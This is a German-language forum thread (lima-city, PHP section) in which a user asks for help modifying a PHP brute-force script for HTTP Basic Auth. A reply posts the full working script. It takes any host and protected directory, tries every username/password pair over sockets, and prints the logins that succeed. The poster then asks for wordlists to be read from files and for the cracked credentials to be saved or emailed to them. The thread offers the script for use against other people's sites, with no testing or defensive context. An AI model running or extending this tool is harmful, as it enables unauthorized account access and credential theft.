Script umschreiben
lima-city → Forum → Programmiersprachen → PHP, MySQL & .htaccess
adresse
agent
checken
connection
datei
exit
fries
list
login
mache
not
pass
pa
scanning
textdatei
there
these
thousand
working
zeile
-
ich hab volgedes script: http://www.deluxnetwork.com/linux/php/brute_force.php
Jetzt h?tte ich gern 2 ver?nderung habe aber keine ahnung wie ich das mache vielleicht k?nnt ihr mir helfen:
1. Ich m?chte das die gefunden und nur die gefunden passes entweder als txt datei auf dem server gespeichert werden oder an mich gesendet werden per e-mail.
2. Ich m?chte, dass die user und die passes aus einer textdatei gelesen werden. (eine f?r user eine f?r passes) -
Diskutiere mit und stelle Fragen: Jetzt kostenlos anmelden!
lima-city: Gratis werbefreier Webspace für deine eigene Homepage
-
So hier, musste nur eine Zeile weg:
<?php
// By ryza
$not_working=0;
$working=0;
// Big wordlist requires more time.
set_time_limit(5000);
if(!isset($host) || !isset($dir))
{
$host="";
$dir="";
}
echo "
<form method=post action=./brute_force.php>
<input type=hidden name=scan value=true>
<table width=500 align=center valign=top cellpadding=-0 cellspacing=0>
<tr>
<td><font face=arial size=2>host:</font></td>
<td><input type=text name=host value='$host'> (www.host.com)</td>
</tr>
<tr>
<td><font face=arial size=2>dir:</font></td>
<td><input type=text name=dir value='$dir'> (/protected/)</td>
</tr>
<tr>
<td></td>
<td><input type=submit value='scan host'></td>
</tr>
</form>
</td>
</tr>
</table>";
if(isset($scan)){
// check input
if($host=="" || $dir==""){exit;}
echo "
<table width=500 align=center valign=top cellpadding=-0 cellspacing=0>
<tr>
<td width=100%><font face=arial size=2><br><br>
scanning: $host<br>
protected: $dir<br><br>";
// here is the word lists.
// put these in text files and check thousands at one time :-)
// every password is checked on each username!.
// so if you got 1 user and 10 passwords there will be 10 scans.
// usernames
$data=array("ryza","xxx");
// passwords
$data2=array("pass","eggs","fries");
foreach ($data as $user){
foreach ($data2 as $pass){
// Our connection..
$fp = fsockopen ("$host", 80);
if($fp){
// Encoding..
$authstring=base64_encode("$user:$pass");
// Send Request..
// Make sure you put there referers!
// Could even incorporate proxy usage.
fputs ($fp, "
GET http://$host$dir HTTP/1.1
Host: $host
Referer: http://$host
Accept-Language: en
User-Agent: Mozilla/2.0 (Macintosh; I; PPC)
Content-Type: text/html
Authorization: Basic $authstring
Connection: close
");
// Show output.
if(!feof($fp)){
$output=fgets($fp,128);
if(eregi("HTTP/1.1 200 OK", $output)) {
$working++;
$login=base64_decode("$authstring");
echo "good: <font color=blue>$login</font><br>\n";
}
else{
$login=base64_decode("$authstring");
$not_working++;
}
}
// Close socket.
fclose ($fp);
unset($output);
}
}
}
echo "<br><br>scan completed.<br><br>
not working logins: $not_working<br>
working logins: $working
</font></td>
</tr>
</table>";
}
?> -
aber da wird nix gespeichert bzw verschikt. ich will doch, das dass tool die user und passes aus jeweils einer txt datei holt wobei in jeder zeile der txt datei ein pass/user steht. au?erdem soll das tool mir das ergebniss (ohne not working) an meine e-mail adresse schiken oder abspeichern.
-
Diskutiere mit und stelle Fragen: Jetzt kostenlos anmelden!
lima-city: Gratis werbefreier Webspace für deine eigene Homepage